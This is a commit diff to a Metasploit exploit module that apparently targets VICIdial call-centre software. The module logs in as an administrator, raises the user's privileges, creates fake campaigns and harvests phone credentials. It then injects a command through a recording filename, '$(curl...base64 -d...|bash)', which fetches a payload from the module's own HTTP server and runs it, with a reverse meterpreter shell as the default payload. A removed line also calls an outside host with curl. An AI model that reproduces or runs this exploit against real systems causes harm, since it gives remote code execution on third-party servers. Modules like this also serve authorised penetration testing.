5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
7
include Msf ::Exploit ::Remote ::HttpClient
8
+ include Msf ::Exploit ::Remote ::HttpServer
8
9
9
10
def initialize ( info = { } )
10
11
super (
@@ -33,26 +34,23 @@ def initialize(info = {})
33
34
[
34
35
'Unix/Linux Command Shell' , {
35
36
'Platform' => %w[ unix linux ] ,
36
- 'Arch' => ARCH_CMD
37
+ 'Arch' => ARCH_CMD ,
38
+ 'DefaultOptions' => {
39
+ 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
40
+ }
37
41
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
38
42
}
39
- ] ,
40
- [
41
- 'PHP Command Shell' , {
42
- 'Platform' => 'php' ,
43
- 'Arch' => ARCH_PHP
44
- # tested with php/meterpreter/reverse_tcp
45
- }
46
43
]
47
44
] ,
48
45
'DefaultTarget' => 0 ,
46
+ 'DefaultOptions' => {
47
+ 'WfsDelay' => 300 ,
48
+ 'HTTPDELAY' => 300
49
+ } ,
49
50
'Notes' => {
50
51
'Stability' => [ CRASH_SAFE ] ,
51
52
'SideEffects' => [ IOC_IN_LOGS ] ,
52
53
'Reliability' => [ REPEATABLE_SESSION ]
53
- } ,
54
- 'Payload' => {
55
- 'BadChars' => '/'
56
54
}
57
55
)
58
56
)
@@ -63,13 +61,43 @@ def initialize(info = {})
63
61
] )
64
62
end
65
63
64
+ def primer
65
+ @resource_name_payload = Rex ::Text . rand_text_alpha ( 8 )
66
+
67
+ add_resource (
68
+ 'Path' => "/#{ @resource_name_payload } " ,
69
+ 'Proc' => proc { |cli , req | on_request_uri_payload ( cli , req ) }
70
+ )
71
+
72
+ print_status ( "Payload is ready at /#{ @resource_name_payload } " )
73
+ end
74
+
75
+ def on_request_uri_payload ( cli , request )
76
+ handle_request ( cli , request , @resource_name_payload , payload . encoded )
77
+ end
78
+
79
+ def handle_request ( cli , request , resource_name , response_payload )
80
+ print_status ( "Received request at: #{ request . uri } " )
81
+ print_status ( "Client Address: #{ cli . peerhost } " )
82
+
83
+ if request . uri =~ %r{/#{ resource_name } }
84
+ print_status ( "Sending response to #{ cli . peerhost } for /#{ resource_name } " )
85
+ send_response ( cli , response_payload )
86
+ else
87
+ print_error ( "Request for unknown resource: #{ request . uri } " )
88
+ send_not_found ( cli )
89
+ end
90
+ end
91
+
66
92
def exploit
93
+ start_service
94
+ print_status ( 'Server started.' )
95
+
96
+ primer
97
+
67
98
username = datastore [ 'USERNAME' ]
68
99
password = datastore [ 'PASSWORD' ]
69
100
70
- session = Rex ::Proto ::Http ::Client . new ( datastore [ 'RHOST' ] , datastore [ 'RPORT' ] )
71
- session . connect
72
-
73
101
# Authenticate using administrator credentials
74
102
credentials = "#{ username } :#{ password } "
75
103
credentials_base64 = Rex ::Text . encode_base64 ( credentials )
@@ -94,7 +122,6 @@ def exploit
94
122
95
123
print_good ( "Authenticated successfully as user '#{ username } '" )
96
124
97
- # Update user settings to increase privileges beyond default administrator
98
125
user_settings_body = {
99
126
'ADD' => '4A' , 'custom_fields_modify' => '0' , 'user' => username , 'DB' => '0' , 'pass' => password ,
100
127
'force_change_password' => 'N' , 'full_name' => 'KoreLogic' , 'user_level' => '9' ,
@@ -190,13 +217,32 @@ def exploit
190
217
191
218
print_good ( 'Updated system settings' )
192
219
193
- # Create dummy campaign
220
+ # Generate a fake company name and campaign ID using Faker
221
+ fake_company_name = Faker ::Company . name
222
+ fake_campaign_id = Faker ::Number . number ( digits : 6 ) . to_i
223
+ fake_list_id = fake_campaign_id + 1
224
+ fake_list_name = "#{ fake_company_name } List"
225
+
226
+ # Create dummy campaign with fake data
194
227
campaign_settings_body = {
195
- 'ADD' => '21' , 'park_ext' => '' , 'campaign_id' => '313373' , 'campaign_name' => 'korelogic_campaign' ,
196
- 'campaign_description' => '' , 'user_group' => '---ALL---' , 'active' => 'Y' , 'park_file_name' => '' ,
197
- 'web_form_address' => '' , 'allow_closers' => 'Y' , 'hopper_level' => '1' , 'auto_dial_level' => '0' ,
198
- 'next_agent_call' => 'random' , 'local_call_time' => '12pm-5pm' , 'voicemail_ext' => '' , 'script_id' => '' ,
199
- 'get_call_launch' => 'NONE' , 'SUBMIT' => 'SUBMIT'
228
+ 'ADD' => '21' ,
229
+ 'park_ext' => '' ,
230
+ 'campaign_id' => fake_campaign_id ,
231
+ 'campaign_name' => fake_company_name ,
232
+ 'campaign_description' => '' ,
233
+ 'user_group' => '---ALL---' ,
234
+ 'active' => 'Y' ,
235
+ 'park_file_name' => '' ,
236
+ 'web_form_address' => '' ,
237
+ 'allow_closers' => 'Y' ,
238
+ 'hopper_level' => '1' ,
239
+ 'auto_dial_level' => '0' ,
240
+ 'next_agent_call' => 'random' ,
241
+ 'local_call_time' => '12pm-11pm' ,
242
+ 'voicemail_ext' => '' ,
243
+ 'script_id' => '' ,
244
+ 'get_call_launch' => 'NONE' ,
245
+ 'SUBMIT' => 'SUBMIT'
200
246
}
201
247
202
248
send_request_cgi ( {
@@ -207,31 +253,17 @@ def exploit
207
253
'keep_cookies' => true
208
254
} )
209
255
210
- print_good ( 'Created dummy campaign "korelogic_campaign"' )
211
-
212
- # Update dummy campaign
213
- update_campaign_body = {
214
- 'ADD' => '41' , 'campaign_id' => '313373' , 'old_campaign_allow_inbound' => 'Y' ,
215
- 'campaign_name' => 'korelogic_campaign' , 'active' => 'Y' , 'dial_status' => '' , 'lead_order' => 'DOWN' ,
216
- 'list_order_mix' => 'DISABLED' , 'lead_filter_id' => 'NONE' , 'no_hopper_leads_logins' => 'Y' ,
217
- 'hopper_level' => '1' , 'reset_hopper' => 'N' , 'dial_method' => 'RATIO' , 'auto_dial_level' => '1' ,
218
- 'adaptive_intensity' => '0' , 'SUBMIT' => 'SUBMIT' , 'form_end' => 'END'
219
- }
220
-
221
- send_request_cgi ( {
222
- 'uri' => target_uri ,
223
- 'method' => 'POST' ,
224
- 'headers' => request_headers ,
225
- 'vars_post' => update_campaign_body ,
226
- 'keep_cookies' => true
227
- } )
228
-
229
- print_good ( 'Updated dummy campaign settings' )
256
+ print_good ( "Created dummy campaign '#{ fake_company_name } '" )
230
257
231
- # Create dummy list
258
+ # Create dummy list with the incremented campaign ID and modified list name
232
259
list_settings_body = {
233
- 'ADD' => '211' , 'list_id' => '313374' , 'list_name' => 'korelogic_list' , 'list_description' => '' ,
234
- 'campaign_id' => '313373' , 'active' => 'Y' , 'SUBMIT' => 'SUBMIT'
260
+ 'ADD' => '211' ,
261
+ 'list_id' => fake_list_id ,
262
+ 'list_name' => fake_list_name ,
263
+ 'list_description' => '' ,
264
+ 'campaign_id' => fake_campaign_id ,
265
+ 'active' => 'Y' ,
266
+ 'SUBMIT' => 'SUBMIT'
235
267
}
236
268
237
269
send_request_cgi ( {
@@ -242,7 +274,7 @@ def exploit
242
274
'keep_cookies' => true
243
275
} )
244
276
245
- print_good ( ' Created dummy list for campaign' )
277
+ print_good ( " Created dummy list ' #{ fake_list_name } ' for campaign ' #{ fake_company_name } '" )
246
278
247
279
# Fetch credentials for a phone login
248
280
res = send_request_cgi ( {
@@ -253,30 +285,37 @@ def exploit
253
285
'keep_cookies' => true
254
286
} )
255
287
256
- unless res
257
- print_error ( 'Failed to fetch phone credentials' )
258
- return
259
- end
288
+ # Check if the response is valid
289
+ fail_with ( Failure ::NotFound , 'Failed to fetch phone credentials' ) unless res
260
290
261
- phone_uri_path = res . get_html_document . at_css ( 'a:contains("MODIFY")' ) [ 'href' ]
291
+ # Safely extract the "MODIFY" link using the safe navigation operator
292
+ phone_uri_path = res . get_html_document . at_css ( 'a:contains("MODIFY")' ) &.get_attribute ( 'href' )
262
293
294
+ # Ensure the href was found
295
+ fail_with ( Failure ::NotFound , 'Failed to find the "MODIFY" link in the phone credentials page' ) unless phone_uri_path
296
+
297
+ # Fetch the phone credentials page
263
298
res = send_request_cgi ( {
264
299
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , phone_uri_path ) ,
265
300
'method' => 'GET' ,
266
301
'headers' => request_headers ,
267
302
'keep_cookies' => true
268
303
} )
269
304
270
- unless res
271
- print_error ( 'Failed to fetch phone credentials' )
272
- return
273
- end
305
+ # Check if the response is valid
306
+ fail_with ( Failure ::NotFound , 'Failed to fetch phone credentials page' ) unless res
274
307
275
- phone_extension = res . get_html_document . at_css ( 'input[name="extension"]' ) [ 'value' ]
276
- phone_password = res . get_html_document . at_css ( 'input[name="pass"]' ) [ 'value' ]
277
- recording_extension = res . get_html_document . at_css ( 'input[name="recording_exten"]' ) [ 'value' ]
308
+ # Safely retrieve the input values for phone credentials
309
+ phone_extension = res . get_html_document . at_css ( 'input[name="extension"]' ) &.get_attribute ( 'value' )
310
+ phone_password = res . get_html_document . at_css ( 'input[name="pass"]' ) &.get_attribute ( 'value' )
311
+ recording_extension = res . get_html_document . at_css ( 'input[name="recording_exten"]' ) &.get_attribute ( 'value' )
278
312
279
- print_good ( "Found phone credentials: #{ phone_extension } :#{ phone_password } " )
313
+ # Ensure all values were successfully retrieved
314
+ if phone_extension && phone_password && recording_extension
315
+ print_good ( "Found phone credentials: Extension=#{ phone_extension } , Password=#{ phone_password } , Recording Extension=#{ recording_extension } " )
316
+ else
317
+ fail_with ( Failure ::NotFound , 'Failed to retrieve one or more phone credentials from the page' )
318
+ end
280
319
281
320
# Make POST request to /agc/vdc_db_query.php to retrieve hidden input fields
282
321
# (this is the fixed bug, dynamic field names need to be retrieved)
@@ -287,22 +326,33 @@ def exploit
287
326
'format' => 'html'
288
327
}
289
328
329
+ # Send the request to retrieve hidden input fields
290
330
res = send_request_cgi ( {
291
331
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'agc' , 'vdc_db_query.php' ) ,
292
332
'method' => 'POST' ,
293
333
'vars_post' => vdc_db_query_body ,
294
334
'keep_cookies' => true
295
335
} )
296
336
297
- unless res
298
- print_error ( 'Failed to retrieve hidden input fields' )
299
- return
300
- end
337
+ # Check if the response is valid
338
+ fail_with ( Failure ::NotFound , 'Failed to retrieve hidden input fields' ) unless res
339
+
340
+ # Parse the HTML document
341
+ doc = res . get_html_document
301
342
302
- mgr_login_name = res . get_html_document . at_css ( 'input[name^="MGR_login"]' ) [ 'name' ]
303
- mgr_pass_name = res . get_html_document . at_css ( 'input[name^="MGR_pass"]' ) [ 'name' ]
343
+ # Safely retrieve the dynamic field names for MGR login and pass
344
+ mgr_login_name = doc . at_css ( 'input[name^="MGR_login"]' ) &.get_attribute ( 'name' )
345
+ mgr_pass_name = doc . at_css ( 'input[name^="MGR_pass"]' ) &.get_attribute ( 'name' )
304
346
305
- print_good ( "Retrieved dynamic field names: #{ mgr_login_name } , #{ mgr_pass_name } " )
347
+ # Ensure that both dynamic field names were successfully retrieved
348
+ if mgr_login_name . nil? || mgr_pass_name . nil?
349
+ today_date = Time . now . strftime ( '%Y%m%d' )
350
+ mgr_login_name = "MGR_login#{ today_date } "
351
+ mgr_pass_name = "MGR_pass#{ today_date } "
352
+ print_status ( "Constructed dynamic field names manually: #{ mgr_login_name } , #{ mgr_pass_name } " )
353
+ else
354
+ print_good ( "Retrieved dynamic field names: #{ mgr_login_name } , #{ mgr_pass_name } " )
355
+ end
306
356
307
357
# Authenticate to agent portal with phone credentials
308
358
manager_login_body = {
@@ -324,9 +374,8 @@ def exploit
324
374
print_good ( 'Entered "manager" credentials to override shift enforcement' )
325
375
326
376
agent_login_body = {
327
- 'DB' => '0' , 'JS_browser_height' => '1313' , 'JS_browser_width' => '2560' , 'admin_test' => '' , 'LOGINvarONE' => '' ,
328
- 'LOGINvarTWO' => '' , 'LOGINvarTHREE' => '' , 'LOGINvarFOUR' => '' , 'LOGINvarFIVE' => '' , 'phone_login' => phone_extension ,
329
- 'phone_pass' => phone_password , 'VD_login' => username , 'VD_pass' => password , 'VD_campaign' => '313373'
377
+ 'DB' => '0' , 'JS_browser_height' => '1313' , 'JS_browser_width' => '2560' , 'phone_login' => phone_extension ,
378
+ 'phone_pass' => phone_password , 'VD_login' => username , 'VD_pass' => password , 'VD_campaign' => fake_campaign_id
330
379
}
331
380
332
381
res = send_request_cgi ( {
@@ -340,14 +389,31 @@ def exploit
340
389
print_good ( 'Authenticated as agent using phone credentials' )
341
390
342
391
# Insert malicious recording
343
- session_name = res . get_html_document . at_css ( "script:contains('var session_name =')" ) . text . match ( /var session_name = '([a-zA-Z0-9_]+)';/ ) [ 1 ]
344
- session_id = res . get_html_document . at_css ( "script:contains('var session_id =')" ) . text . match ( /var session_id = '([0-9]+)';/ ) [ 1 ]
392
+ session_name_element = res . get_html_document . at_css ( "script:contains('var session_name =')" )
393
+ session_id_element = res . get_html_document . at_css ( "script:contains('var session_id =')" )
394
+ print_status ( res . body )
395
+ if session_name_element . nil? || session_id_element . nil?
396
+ fail_with ( Failure ::NotFound , 'Failed to retrieve session information: session_name or session_id element is missing' )
397
+ end
398
+
399
+ session_name = session_name_element . text . match ( /var session_name = '([a-zA-Z0-9_]+)';/ ) [ 1 ]
400
+ session_id = session_id_element . text . match ( /var session_id = '([0-9]+)';/ ) [ 1 ]
401
+
402
+ if session_name . nil? || session_id . nil?
403
+ fail_with ( Failure ::NotFound , 'Failed to retrieve session information: session_name or session_id is nil' )
404
+ end
345
405
346
406
# hex_encoded_payload = "curl balno.requestcatcher.com".unpack('H*').first
347
407
# formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join
348
- command = 'curl balgo.requestcatcher.com'
349
- print_status ( "Payload: #{ command } " )
350
- malicious_filename = "3133731337$(#{ command } )"
408
+ url_regex = %r{(http://[^\s /]+)}
409
+ print_status ( payload . encoded )
410
+ full_url = payload . encoded . match ( url_regex ) ? ( payload . encoded . match ( url_regex ) [ 1 ] ) . to_s : nil
411
+
412
+ print_status ( "Full URL: #{ get_uri } " )
413
+ malicious_filename = "$(curl$IFS$(base64$IFS-d<<<#{ Rex ::Text . encode_base64 ( full_url ) } )|bash)"
414
+
415
+ # Afficher la commande malveillante générée
416
+ print_status ( "Generated malicious command: #{ malicious_filename } " )
351
417
352
418
record1_body = {
353
419
'server_ip' => datastore [ 'RHOSTS' ] , 'session_name' => session_name , 'user' => username , 'pass' => password ,
@@ -365,7 +431,7 @@ def exploit
365
431
} )
366
432
367
433
recording_id = res . body . match ( /RecorDing_ID: ([0-9]+)/ ) [ 1 ]
368
-
434
+ print_status ( res . body )
369
435
# Stop malicious recording to prevent file size from growing
370
436
record2_body = {
371
437
'server_ip' => datastore [ 'RHOSTS' ] , 'session_name' => session_name , 'user' => username ,
@@ -385,7 +451,6 @@ def exploit
385
451
print_good ( 'Stopped malicious recording to prevent file size from growing' )
386
452
387
453
# Wait for 2 minutes to allow the cron job to execute the payload
388
- print_status ( 'Waiting for 2 minutes to allow the cron job to execute the payload...' )
389
- Rex . sleep ( 120 )
454
+ print_status ( "Waiting for #{ datastore [ 'WfsDelay' ] } seconds to allow the cron job to execute the payload..." )
390
455
end
391
456
end
0 commit comments